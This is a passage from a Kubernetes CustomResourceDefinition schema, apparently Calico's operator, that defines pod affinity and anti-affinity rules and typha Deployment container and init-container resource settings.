                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of typha containers.
                                    If specified, this overrides the specified typha Deployment containers.
                                    If omitted, the typha Deployment will use its default values for its containers.
                                  items:
                                    description: TyphaDeploymentContainer is a typha
                                      Deployment container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the typha Deployment container by name.
                                          Supported values are: calico-typha
                                        enum:
                                        - calico-typha
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named typha Deployment container's resources.
                                          If omitted, the typha Deployment will use its default value for this container's resources.
                                          If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                initContainers:
                                  description: |-
                                    InitContainers is a list of typha init containers.
                                    If specified, this overrides the specified typha Deployment init containers.
                                    If omitted, the typha Deployment will use its default values for its init containers.
                                  items:
                                    description: TyphaDeploymentInitContainer is a
                                      typha Deployment init container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the typha Deployment init container by name.
                                          Supported values are: typha-certs-key-cert-provisioner
                                        enum:
                                        - typha-certs-key-cert-provisioner
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named typha Deployment init container's resources.
                                          If omitted, the typha Deployment will use its default value for this init container's resources.
                                          If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
